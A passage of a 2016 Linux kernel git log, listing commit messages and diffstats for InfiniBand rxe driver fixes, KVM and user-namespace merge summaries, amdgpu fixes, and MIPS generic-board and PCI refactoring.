1 deletion(-) commit b6bbee0d2438a2c9c7525f5bd7047a8b2ce4f38f Author: Parav Pandit Date: Wed Sep 28 20:26:44 2016 +0000 IB/rxe: Properly honor max IRD value for rd/atomic. This patch honoris the max incoming read request count instead of outgoing read req count (a) during modify qp by allocating response queue metadata (b) during incoming read request processing Signed-off-by: Parav Pandit Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_loc.h | 2 +- drivers/infiniband/sw/rxe/rxe_qp.c | 24 +++++++++++++----------- drivers/infiniband/sw/rxe/rxe_resp.c | 2 +- 3 files changed, 15 insertions(+), 13 deletions(-) commit d9703650f4aba7555fde92636d8d9a689029e8f8 Author: Parav Pandit Date: Wed Sep 28 20:25:47 2016 +0000 IB/{rxe,core,rdmavt}: Fix kernel crash for reg MR This patch fixes below kernel crash on memory registration for rxe and other transport drivers which has dma_ops extension. IB/core invokes ib_map_sg_attrs() in generic manner with dma attributes which is used by mlx5 and mthca adapters. However in doing so it ignored honoring dma_ops extension of software based transports for sg map/unmap operation. This results in calling dma_map_sg_attrs of hardware virtual device resulting in crash for null reference. We extend the core to support sg_map/unmap_attrs and transport drivers to implement those dma_ops callback functions. Verified usign perftest applications. BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] check_addr+0x35/0x60 ... Call Trace: [] ? nommu_map_sg+0x99/0xd0 [] ib_umem_get+0x3d6/0x470 [ib_core] [] rxe_mem_init_user+0x49/0x270 [rdma_rxe] [] ? rxe_add_index+0xca/0x100 [rdma_rxe] [] rxe_reg_user_mr+0x9f/0x130 [rdma_rxe] [] ib_uverbs_reg_mr+0x14e/0x2c0 [ib_uverbs] [] ib_uverbs_write+0x15b/0x3b0 [ib_uverbs] [] ? mem_cgroup_commit_charge+0x76/0xe0 [] ? page_add_new_anon_rmap+0x89/0xc0 [] ? lru_cache_add_active_or_unevictable+0x39/0xc0 [] __vfs_write+0x28/0x120 [] ? rw_verify_area+0x49/0xb0 [] vfs_write+0xb2/0x1b0 [] SyS_write+0x46/0xa0 [] entry_SYSCALL_64_fastpath+0x1a/0xa4 Signed-off-by: Parav Pandit Signed-off-by: Doug Ledford drivers/infiniband/sw/rdmavt/dma.c | 17 +++++++++++++++++ drivers/infiniband/sw/rxe/rxe_dma.c | 17 +++++++++++++++++ include/rdma/ib_verbs.h | 23 ++++++++++++++++++++--- 3 files changed, 54 insertions(+), 3 deletions(-) commit ffae955d49e6cff28589d6e7388bb9275f9ce2d1 Author: Parav Pandit Date: Wed Sep 28 20:24:42 2016 +0000 IB/rxe: Fix sending out loopback packet on netdev interface. Both prepare4 and prepare6 sets loopback mask in pkt_info structure instance of skb. The xmit_packet and other requester side functions use a pkt_info struct from the stack without the proper mask. This results in sending out the packet to the actual netdev device and loopback functionality is broken. Modify prepare() to pass its correctly marked pkt_info struct to prepare4() and prepare6() instead of them using SKB_TO_PKT(skb) and getting an incorrectly set mask. Verified with perftest applications. Signed-off-by: Parav Pandit Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_net.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 063af59597492d31c44e549d6c773b6485f7dc53 Author: Parav Pandit Date: Wed Sep 28 20:24:12 2016 +0000 IB/rxe: Avoid scheduling tasklet for userspace QP This patch avoids scheduing tasklet for WQE and protocol processing for user space QP. It performs the task in calling process context. To improve code readability kernel specific post_send handling moved to post_send_kernel() function. Signed-off-by: Parav Pandit Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_verbs.c | 38 +++++++++++++++++++++++------------ 1 file changed, 25 insertions(+), 13 deletions(-) commit 6218590bcb452c3da7517d02b588d4d0a8628f73 Merge: 14986a3 d9ab710 Author: Linus Torvalds Date: Thu Oct 6 10:49:01 2016 -0700 Merge tag 'kvm-4.9-1' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM updates from Radim Krčmář: "All architectures: - move `make kvmconfig` stubs from x86 - use 64 bits for debugfs stats ARM: - Important fixes for not using an in-kernel irqchip - handle SError exceptions and present them to guests if appropriate - proxying of GICV access at EL2 if guest mappings are unsafe - GICv3 on AArch32 on ARMv8 - preparations for GICv3 save/restore, including ABI docs - cleanups and a bit of optimizations MIPS: - A couple of fixes in preparation for supporting MIPS EVA host kernels - MIPS SMP host & TLB invalidation fixes PPC: - Fix the bug which caused guests to falsely report lockups - other minor fixes - a small optimization s390: - Lazy enablement of runtime instrumentation - up to 255 CPUs for nested guests - rework of machine check deliver - cleanups and fixes x86: - IOMMU part of AMD's AVIC for vmexit-less interrupt delivery - Hyper-V TSC page - per-vcpu tsc_offset in debugfs - accelerated INS/OUTS in nVMX - cleanups and fixes" * tag 'kvm-4.9-1' of git://git.kernel.org/pub/scm/virt/kvm/kvm: (140 commits) KVM: MIPS: Drop dubious EntryHi optimisation KVM: MIPS: Invalidate TLB by regenerating ASIDs KVM: MIPS: Split kernel/user ASID regeneration KVM: MIPS: Drop other CPU ASIDs on guest MMU changes KVM: arm/arm64: vgic: Don't flush/sync without a working vgic KVM: arm64: Require in-kernel irqchip for PMU support KVM: PPC: Book3s PR: Allow access to unprivileged MMCR2 register KVM: PPC: Book3S PR: Support 64kB page size on POWER8E and POWER8NVL KVM: PPC: Book3S: Remove duplicate setting of the B field in tlbie KVM: PPC: BookE: Fix a sanity check KVM: PPC: Book3S HV: Take out virtual core piggybacking code KVM: PPC: Book3S: Treat VTB as a per-subcore register, not per-thread ARM: gic-v3: Work around definition of gic_write_bpr1 KVM: nVMX: Fix the NMI IDT-vectoring handling KVM: VMX: Enable MSR-BASED TPR shadow even if APICv is inactive KVM: nVMX: Fix reload apic access page warning kvmconfig: add virtio-gpu to config fragment config: move x86 kvm_guest.config to a common location arm64: KVM: Remove duplicating init code for setting VMID ARM: KVM: Support vgic-v3 ... commit 14986a34e1289424811443a524cdd9e1688c7913 Merge: 8d37059 069d5ac Author: Linus Torvalds Date: Thu Oct 6 09:52:23 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/ebiederm/user-namespace Pull namespace updates from Eric Biederman: "This set of changes is a number of smaller things that have been overlooked in other development cycles focused on more fundamental change. The devpts changes are small things that were a distraction until we managed to kill off DEVPTS_MULTPLE_INSTANCES. There is an trivial regression fix to autofs for the unprivileged mount changes that went in last cycle. A pair of ioctls has been added by Andrey Vagin making it is possible to discover the relationships between namespaces when referring to them through file descriptors. The big user visible change is starting to add simple resource limits to catch programs that misbehave. With namespaces in general and user namespaces in particular allowing users to use more kinds of resources, it has become important to have something to limit errant programs. Because the purpose of these limits is to catch errant programs the code needs to be inexpensive to use as it always on, and the default limits need to be high enough that well behaved programs on well behaved systems don't encounter them. To this end, after some review I have implemented per user per user namespace limits, and use them to limit the number of namespaces. The limits being per user mean that one user can not exhause the limits of another user. The limits being per user namespace allow contexts where the limit is 0 and security conscious folks can remove from their threat anlysis the code used to manage namespaces (as they have historically done as it root only). At the same time the limits being per user namespace allow other parts of the system to use namespaces. Namespaces are increasingly being used in application sand boxing scenarios so an all or nothing disable for the entire system for the security conscious folks makes increasing use of these sandboxes impossible. There is also added a limit on the maximum number of mounts present in a single mount namespace. It is nontrivial to guess what a reasonable system wide limit on the number of mount structure in the kernel would be, especially as it various based on how a system is using containers. A limit on the number of mounts in a mount namespace however is much easier to understand and set. In most cases in practice only about 1000 mounts are used. Given that some autofs scenarious have the potential to be 30,000 to 50,000 mounts I have set the default limit for the number of mounts at 100,000 which is well above every known set of users but low enough that the mount hash tables don't degrade unreaonsably. These limits are a start. I expect this estabilishes a pattern that other limits for resources that namespaces use will follow. There has been interest in making inotify event limits per user per user namespace as well as interest expressed in making details about what is going on in the kernel more visible" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/ebiederm/user-namespace: (28 commits) autofs: Fix automounts by using current_real_cred()->uid mnt: Add a per mount namespace limit on the number of mounts netns: move {inc,dec}_net_namespaces into #ifdef nsfs: Simplify __ns_get_path tools/testing: add a test to check nsfs ioctl-s nsfs: add ioctl to get a parent namespace nsfs: add ioctl to get an owning user namespace for ns file descriptor kernel: add a helper to get an owning user namespace for a namespace devpts: Change the owner of /dev/pts/ptmx to the mounter of /dev/pts devpts: Remove sync_filesystems devpts: Make devpts_kill_sb safe if fsi is NULL devpts: Simplify devpts_mount by using mount_nodev devpts: Move the creation of /dev/pts/ptmx into fill_super devpts: Move parse_mount_options into fill_super userns: When the per user per user namespace limit is reached return ENOSPC userns; Document per user per user namespace limits. mntns: Add a limit on the number of mount namespaces. netns: Add a limit on the number of net namespaces cgroupns: Add a limit on the number of cgroup namespaces ipcns: Add a limit on the number of ipc namespaces ... commit 8036617e92e3fad49eef9bbe868b661c58249aff Author: Christian König Date: Tue Oct 4 13:39:43 2016 +0200 drm/amdgpu: revert "use more than 64KB fragment size if possible" This reverts commit 1dcd32fb9c54334ec948a0f18174a748d6b14364. The block size is indeed an equal match, so this can cause performance regressions. Reviewed-by: Alex Deucher Signed-off-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 2f9ba199daf32dded4ef0237cd12efac451ebf47 Author: Grazvydas Ignotas Date: Mon Oct 3 00:06:46 2016 +0300 drm/amdgpu: warn if dp aux is still attached on free If this happens (and it recently did), we free a structure while part of it is still in use, which results in non-obvious crashes. The way it's detached is not trivial (DRM core has to call the connector .destroy callback and things must be torn down in the right order), so better detect it and warn early. Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 4 +++- drivers/gpu/drm/amd/amdgpu/amdgpu_i2c.c | 1 + 2 files changed, 4 insertions(+), 1 deletion(-) commit 140c94da3c3338c0ff4cc127cf9bec87905ca83c Author: Grazvydas Ignotas Date: Mon Oct 3 00:06:45 2016 +0300 drm/amdgpu/dce11: add missing drm_mode_config_cleanup call All other amdgpu/dce_v* files have this call, it's only mysteriously missing from dce_v11_0.c since the file was added and causes leaks. Fixes: aaa36a976bbb ("drm/amdgpu: Add initial VI support") Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 1 + 1 file changed, 1 insertion(+) commit 8a2eef1dbc85273c57d6f2cf73e5d7c97b1a25f4 Author: Grazvydas Ignotas Date: Mon Oct 3 00:06:44 2016 +0300 drm/amdgpu: also track late init state Successful sw_init() and hw_init() states are tracked, but not late_init(). Various error paths may result in amdgpu_fini() being called before .late init is done, so late_init needs to be tracked to avoid unexpected or multiple .late_fini() calls. Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 4 ++++ 2 files changed, 5 insertions(+) commit 3f5f0a4475e13345326061f00c68f428232ba2bc Author: Paul Burton Date: Wed Oct 5 18:18:21 2016 +0100 MIPS: generic: Convert SEAD-3 to a generic board Convert the MIPS SEAD-3 board support to be a generic board, supported by generic kernels. Because the SEAD-3 boot protocol was defined long ago and we don't want to force a switch to the UHI protocol, SEAD-3 is added as a legacy board which is detected by reading the REVISION register. This may technically not be a valid memory read & future work will include attempting to handle that gracefully. In practice since SEAD-3 is the only legacy board supported by the generic kernel so far the read will only happen on SEAD-3 boards, and even once Malta is converted the same REVISION register exists there too. Other boards such as Boston, Ci20 & Ci40 will use the UHI boot protocol & thus not run any of the legacy board detect functions. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14354/ Signed-off-by: Ralf Baechle arch/mips/Kbuild.platforms | 1 - arch/mips/Kconfig | 37 +- arch/mips/Makefile | 13 + arch/mips/boot/dts/mti/Makefile | 2 +- arch/mips/boot/dts/mti/sead3.dts | 1 + arch/mips/configs/generic/board-sead-3.config | 32 ++ arch/mips/configs/sead3_defconfig | 129 ------- arch/mips/configs/sead3micro_defconfig | 122 ------- arch/mips/generic/Kconfig | 7 + arch/mips/generic/Makefile | 2 + arch/mips/generic/board-sead3.c | 376 +++++++++++++++++++++ .../include/asm/mach-sead3/cpu-feature-overrides.h | 72 ---- arch/mips/include/asm/mach-sead3/irq.h | 9 - .../include/asm/mach-sead3/kernel-entry-init.h | 21 -- arch/mips/include/asm/mach-sead3/sead3-dtshim.h | 29 -- arch/mips/include/asm/mach-sead3/war.h | 24 -- arch/mips/mti-sead3/Makefile | 15 - arch/mips/mti-sead3/Platform | 7 - arch/mips/mti-sead3/sead3-dtshim.c | 292 ---------------- arch/mips/mti-sead3/sead3-init.c | 100 ------ arch/mips/mti-sead3/sead3-int.c | 23 -- arch/mips/mti-sead3/sead3-setup.c | 39 --- arch/mips/mti-sead3/sead3-time.c | 91 ----- 23 files changed, 433 insertions(+), 1011 deletions(-) commit eed0eabd12ef061821cbfa20d903476e07645320 Author: Paul Burton Date: Wed Oct 5 18:18:20 2016 +0100 MIPS: generic: Introduce generic DT-based board support Introduce a "generic" platform, which aims to be board-agnostic by making use of device trees passed by the boot protocol defined in the MIPS UHI (Universal Hosting Interface) specification. Provision is made for supporting boards which use a legacy boot protocol that can't be changed, but adding support for such boards or any others is left to followon patches. Right now the built kernels expect to be loaded to 0x80100000, ie. in kseg0. This is fine for the vast majority of MIPS platforms, but nevertheless it would be good to remove this limitation in the future by mapping the kernel via the TLB such that it can be loaded anywhere & map itself appropriately. Configuration is handled by dynamically generating configs using scripts/kconfig/merge_config.sh, somewhat similar to the way powerpc makes use of it. This allows for variations upon the configuration, eg. differing architecture revisions or subsets of driver support for differing boards, to be handled without having a large number of defconfig files. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14353/ Signed-off-by: Ralf Baechle arch/mips/Kbuild.platforms | 1 + arch/mips/Kconfig | 52 +++++++++ arch/mips/Makefile | 56 +++++++++ arch/mips/boot/Makefile | 11 +- arch/mips/configs/generic/32r1.config | 2 + arch/mips/configs/generic/32r2.config | 3 + arch/mips/configs/generic/32r6.config | 2 + arch/mips/configs/generic/64r1.config | 4 + arch/mips/configs/generic/64r2.config | 5 + arch/mips/configs/generic/64r6.config | 4 + arch/mips/configs/generic/eb.config | 1 + arch/mips/configs/generic/el.config | 1 + arch/mips/configs/generic/micro32r2.config | 4 + arch/mips/configs/generic_defconfig | 96 ++++++++++++++++ arch/mips/generic/Kconfig | 12 ++ arch/mips/generic/Makefile | 13 +++ arch/mips/generic/Platform | 14 +++ arch/mips/generic/init.c | 176 +++++++++++++++++++++++++++++ arch/mips/generic/irq.c | 64 +++++++++++ arch/mips/generic/proc.c | 29 +++++ arch/mips/generic/vmlinux.its.S | 31 +++++ arch/mips/include/asm/machine.h | 63 +++++++++++ 22 files changed, 643 insertions(+), 1 deletion(-) commit cf2a5e0bb4c66e8c43caf9f1be93a1bd7fd07b17 Author: Paul Burton Date: Wed Oct 5 18:18:19 2016 +0100 MIPS: Support generating Flattened Image Trees (.itb) Add support for generating kernel images in the Flattened Image Tree (.itb) format as supported by U-Boot. This format is essentially a Flattened Device Tree binary containing images (kernels, DTBs, ramdisks) and configurations which link those images together. The big advantages of FIT images over the uImage format are: - We can include FDTs in the kernel image in a way that the bootloader can extract it & manipulate it before providing it to the kernel. Thus we can ship FDTs as part of the kernel giving us the advantages of being able to develop & maintain the DT within the kernel tree, but also have the benefits of the bootloader being able to manipulate the FDT. Example uses for this would be to inject the kernel command line into the chosen node, or to fill in the correct memory size. - We can include multiple configurations in a single kernel image. This means that a single FIT image can, given appropriate bootloaders, be booted on different boards with the bootloader selecting an appropriate configuration & providing the correct FDT to the kernel. - We can support a multitude of hashes over the data. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14352/ Signed-off-by: Ralf Baechle arch/mips/Makefile | 8 ++++++- arch/mips/boot/Makefile | 57 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 64 insertions(+), 1 deletion(-) commit 3ffc17d8768be705e292ac4c2e3ab1f18dc06047 Author: Paul Burton Date: Wed Oct 5 18:18:18 2016 +0100 MIPS: Adjust MIPS64 CAC_BASE to reflect Config.K0 On MIPS64 we define the default CAC_BASE as one of the xkphys regions of the virtual address space. Since the CCA is encoded in bits 61:59 of xkphys addresses, fixing CAC_BASE to any particular one prevents us from dynamically changing the CCA as we do for MIPS32 where CAC_BASE is placed within kseg0. In order to make the kernel more generic, drop the current kludge that gives CAC_BASE CCA=3 if CONFIG_DMA_NONCOHERENT is selected (disregarding CONFIG_DMA_MAYBE_COHERENT) & CCA=5 (which is not standardised by the architecture) otherwise. Instead read Config.K0 and generate the appropriate offset into xkphys, presuming that either the bootloader or early kernel code will have configured Config.K0 appropriately. This seems like the best option for a generic implementation. The ip27 spaces.h is adjusted to set its former value of CAC_BASE, since it's the only user of CAC_BASE from assembly (in its smp_slave_setup macro). This allows the generic case to focus solely on C code without breaking ip27. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14351/ Signed-off-by: Ralf Baechle arch/mips/include/asm/addrspace.h | 3 +-- arch/mips/include/asm/mach-generic/spaces.h | 8 +++----- arch/mips/include/asm/mach-ip27/spaces.h | 1 + 3 files changed, 5 insertions(+), 7 deletions(-) commit dabdc1853d59b355eaa679b8856016a7366da9af Author: Paul Burton Date: Wed Oct 5 18:18:17 2016 +0100 MIPS: Print CM error reports upon bus errors If a bus error occurs on a system with a MIPS Coherence Manager (CM) then the CM may hold useful diagnostic information. Printing this out has so far been left up to boards, with the requirement that they register a board_be_handler function & call mips_cm_error_decode() from there. In order to avoid boards other than Malta needing to duplicate this code, call mips_cm_error_decode() automatically if the board registers no board_be_handler, and remove the Malta implementation of that. This patch results in no functional change, but removes a further piece of platform-specific code. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14350/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 3 +++ arch/mips/mti-malta/malta-int.c | 15 --------------- arch/mips/mti-malta/malta-setup.c | 6 ------ 3 files changed, 3 insertions(+), 21 deletions(-) commit 20d330645cfb8cfecfb82b369e4d3084e429e68a Author: Paul Burton Date: Wed Oct 5 18:18:16 2016 +0100 MIPS: Support per-device DMA coherence On some MIPS systems, a subset of devices may have DMA coherent with CPU caches. For example in systems including a MIPS I/O Coherence Unit (IOCU), some devices may be connected to that IOCU whilst others are not. Prior to this patch, we have a plat_device_is_coherent() function but no implementation which does anything besides return a global true or false, optionally chosen at runtime. For devices such as those described above this is insufficient. Fix this by tracking DMA coherence on a per-device basis with a dma_coherent field in struct dev_archdata. Setting this from arch_setup_dma_ops() takes care of devices which set the dma-coherent property via device tree, and any PCI devices beneath a bridge described in DT, automatically. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14349/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 4 ++++ arch/mips/include/asm/device.h | 5 +++++ arch/mips/include/asm/dma-coherence.h | 4 +++- arch/mips/include/asm/dma-mapping.h | 10 ++++++++++ arch/mips/include/asm/mach-generic/dma-coherence.h | 4 ++++ arch/mips/mm/c-r4k.c | 4 ++++ arch/mips/mm/dma-default.c | 2 +- 7 files changed, 31 insertions(+), 2 deletions(-) commit cfa93fb9c2eae805f2c16d72bad04ca49b6e16d2 Author: Paul Burton Date: Wed Oct 5 18:18:15 2016 +0100 MIPS: dma-default: Don't check hw_coherentio if device is non-coherent There are no cases where plat_device_is_coherent() will return zero whilst hw_coherentio is non-zero, and acting any differently in such a case doesn't make much sense - if a device is non-coherent with the CPU caches then access to memory "coherent" with DMA must be uncached. Clean up the nonsensical case. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14348/ Signed-off-by: Ralf Baechle arch/mips/mm/dma-default.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit f23020230e682a43cc4706cabb041bba469df2d6 Author: Paul Burton Date: Wed Oct 5 18:18:14 2016 +0100 MIPS: Sanitise coherentio semantics The coherentio variable has previously been used as a boolean value, indicating whether the user specified that coherent I/O should be enabled or disabled. It failed to take into account the case where the user does not specify any preference, in which case it makes sense that we should default to coherent I/O if the hardware supports it (hw_coherentio is non-zero). Introduce an enum to clarify the 3 different values of coherentio & use it throughout the code, modifying plat_device_is_coherent() & r4k_cache_init() to take into account the default case. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: Paul Burton Patchwork: https://patchwork.linux-mips.org/patch/14347/ Signed-off-by: Ralf Baechle arch/mips/alchemy/common/setup.c | 6 +++--- arch/mips/include/asm/dma-coherence.h | 12 +++++++++--- arch/mips/include/asm/mach-generic/dma-coherence.h | 10 +++++++++- arch/mips/mm/c-r4k.c | 3 ++- arch/mips/mm/dma-default.c | 7 ++++--- arch/mips/mti-malta/malta-setup.c | 4 ++-- arch/mips/pci/pci-alchemy.c | 3 ++- 7 files changed, 31 insertions(+), 14 deletions(-) commit 87dd9a4de421f052fd9be58c7da08a453f340d5e Author: Paul Burton Date: Wed Oct 5 18:18:13 2016 +0100 MIPS: PCI: Support generic drivers Introduce support for PCI drivers using only functionality provided generically by the PCI subsystem, by adding the minimum arch-provided functions required. The driver this has been developed for & tested with the xilinx-pcie on a MIPS Boston development board. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14346/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 1 + arch/mips/pci/Makefile | 1 + arch/mips/pci/pci-generic.c | 52 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 54 insertions(+) commit c5611df968047fb0b38156497b4242730ef66108 Author: Paul Burton Date: Wed Oct 5 18:18:12 2016 +0100 MIPS: PCI: Introduce CONFIG_PCI_DRIVERS_LEGACY Introduce 2 Kconfig symbols, CONFIG_PCI_DRIVERS_GENERIC & CONFIG_PCI_DRIVERS_LEGACY, which indicate whether the system should be built to for PCI drivers using the MIPS-specific struct pci_controller API (hereafter "legacy" drivers) or more generic drivers using only functionality provided by the PCI core (hereafter "generic" drivers). The Kconfig entries are created such that platforms have to select CONFIG_PCI_DRIVERS_GENERIC if they wish to use it - that is, the default is CONFIG_PCI_DRIVERS_LEGACY so that existing platforms need no modification. The functions declared in pci.h are rearranged with those provided only by pci-legacy.c being guarded by an #ifdef CONFIG_PCI_DRIVERS_LEGACY to ensure they are only used in configurations where they are implemented. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14345/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 8 ++++++- arch/mips/include/asm/pci.h | 54 ++++++++++++++++++++++++++------------------- arch/mips/lib/iomap-pci.c | 4 ++++ arch/mips/pci/Makefile | 2 +- 4 files changed, 43 insertions(+), 25 deletions(-) commit f8091a88978b68df8ee6095eed0de2177eac3c69 Author: Paul Burton Date: Wed Oct 5 18:18:11 2016 +0100 MIPS: PCI: Split pci.c into pci.c & pci-legacy.c Split out the parts of pci.c that are used by existing systems with MIPS-style PCI drivers but that will not be used by systems with more generic PCI drivers such as pcie-xilinx. This is done in preparation for allowing configurations where the code moved to pci-legacy.c is not built. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: Paul Burton Patchwork: https://patchwork.linux-mips.org/patch/14344/ Signed-off-by: Ralf Baechle arch/mips/pci/Makefile | 1 + arch/mips/pci/pci-legacy.c | 302 +++++++++++++++++++++++++++++++++++++++++++++ arch/mips/pci/pci.c | 287 +----------------------------------------- 3 files changed, 306 insertions(+), 284 deletions(-) commit ab96b03144c5392b8c0c427cc37df34daa84c5d0 Author: Paul Burton Date: Wed Oct 5 18:18:10 2016 +0100 MIPS: PCI: Inline pcibios_assign_all_busses The MIPS implementation of pcibios_assign_all_busses trivially returns 1. Implement it as a static function in asm/pci.h such that the compiler can inline it & optimise out never-taken paths. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14343/ Signed-off-by: Ralf Baechle arch/mips/include/asm/pci.h | 6 ++++-- arch/mips/pci/pci.c | 5 ----- 2 files changed, 4 insertions(+), 7 deletions(-) commit f474ba9d9f275fc3bfe459b48bfc17ddd8e1f4cb Author: Paul Burton Date: Wed Oct 5 18:18:09 2016 +0100 MIPS: PCI: Make pcibios_set_cache_line_size an initcall In preparation for allowing configurations in which pcibios_init is not included, make pcibios_set_cache_line_size an initcall. arch_initcall is used such that it runs before the pcibios_init subsys_initcall for platforms that continue to use it. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14342/ Signed-off-by: Ralf Baechle arch/mips/pci/pci.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 88555b481958083b1b928a4ba5c6e3bc606ce34b Author: Paul Burton Date: Wed Oct 5 18:18:08 2016 +0100 MIPS: PCI: Support for CONFIG_PCI_DOMAINS_GENERIC Introduce support for CONFIG_PCI_DOMAINS_GENERIC, allowing for platforms to make use of generic PCI domains instead of the MIPS-specific implementation. The set_pci_need_domain_info function is introduced to abstract away the removed need_domain_info field in struct pci_controller, and pcibios_scanbus is adjusted to use the pci_domain_nr accessor instead of directly accessing the index field. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14341/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 3 +++ arch/mips/include/asm/pci.h | 21 ++++++++++++++++++++- arch/mips/pci/pci.c | 4 ++-- 3 files changed, 25 insertions(+), 3 deletions(-) commit 23dac14d058fcd7cb2b4e6389139ca065855afe7 Author: Paul Burton Date: Wed Oct 5 18:18:07 2016 +0100 MIPS: PCI: Use struct list_head lists Rather than open-coding a linked list implementation, make use of the one in linux/list.h. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14340/ Signed-off-by: Ralf Baechle arch/mips/include/asm/pci.h | 3 ++- arch/mips/pci/pci.c | 9 ++++----- 2 files changed, 6 insertions(+), 6 deletions(-) commit d05c513069f15be5de766026a4192998688ffff1 Author: Marcin Nowakowski Date: Fri Sep 30 11:33:46 2016 +0200 MIPS: tracing: disable uprobe/kprobe on compact branch instructions Current instruction decoder for uprobe/kprobe handler only handles branches with delay slots. For compact branches the behaviour is rather unpredictable - and depending on the encoding of a compact branch instruction may result in one (or more) of: - executing an instruction that follows a branch which wasn't in a delay slot and shouldn't have been executed - incorrectly emulating a branch leading to a jump to a wrong location - unexpected branching out of the single-stepped code and never reaching the breakpoint that should terminate the probe handler Results of these actions are generally unpredictable, but can end up with a probed application or kernel crash, so disable placing probes on compact branches until they are handled properly. Signed-off-by: Marcin Nowakowski Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14336/ Signed-off-by: Ralf Baechle arch/mips/kernel/branch.c | 34 ++++++++++++++++++++++++++++++++++ arch/mips/kernel/kprobes.c | 6 ++++++ arch/mips/kernel/probes-common.h | 2 ++ arch/mips/kernel/uprobes.c | 6 ++++++ 4 files changed, 48 insertions(+) commit e3031b32840c1bee228c58bb284ebc05f97249c7 Author: Marcin Nowakowski Date: Fri Sep 30 11:33:45 2016 +0200 MIPS: tracing: move insn_has_delay_slot to a shared header Currently both kprobes and uprobes code have definitions of the insn_has_delay_slot method. Move it to a separate header as an inline method that each probe-specific method can later use. No functional change intended, although the methods slightly varied in the constraints they set for the methods - the uprobes one was chosen as it is slightly more specific when filtering opcode fields. Signed-off-by: Marcin Nowakowski Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14335/ Signed-off-by: Ralf Baechle arch/mips/kernel/kprobes.c | 61 ++---------------------------- arch/mips/kernel/probes-common.h | 81 ++++++++++++++++++++++++++++++++++++++++ arch/mips/kernel/uprobes.c | 65 ++------------------------------ 3 files changed, 87 insertions(+), 120 deletions(-) commit d66698e0834657161314050b6c99c3eba36b180a Author: Jaedon Shin Date: Fri Sep 30 23:17:34 2016 +0900 MIPS: BMIPS: Support APPENDED_DTB Use appended DTB when available. Signed-off-by: Jaedon Shin Cc: Kevin Cernekee Cc: Florian Fainelli Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14337/ Signed-off-by: Ralf Baechle arch/mips/bmips/setup.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit a2c510a2d0418ce15cd739d0a177ce53b06e5695 Author: Jaedon Shin Date: Fri Aug 19 11:52:30 2016 +0900 MIPS: BMIPS: Use interrupt-controller node name Changes node names of the interrupt-controller device nodes to interrupt-controller instead of label strings. Signed-off-by: Jaedon Shin Cc: Florian Fainelli Cc: Jonas Gorski Cc: Kevin Cernekee Cc: Rob Herring Cc: MIPS Mailing List Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14004/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/brcm/bcm7125.dtsi | 8 ++++---- arch/mips/boot/dts/brcm/bcm7346.dtsi | 10 +++++----- arch/mips/boot/dts/brcm/bcm7358.dtsi | 10 +++++----- arch/mips/boot/dts/brcm/bcm7360.dtsi | 10 +++++----- arch/mips/boot/dts/brcm/bcm7362.dtsi | 10 +++++----- arch/mips/boot/dts/brcm/bcm7420.dtsi | 8 ++++---- arch/mips/boot/dts/brcm/bcm7425.dtsi | 10 +++++----- arch/mips/boot/dts/brcm/bcm7435.dtsi | 10 +++++----- 8 files changed, 38 insertions(+), 38 deletions(-) commit 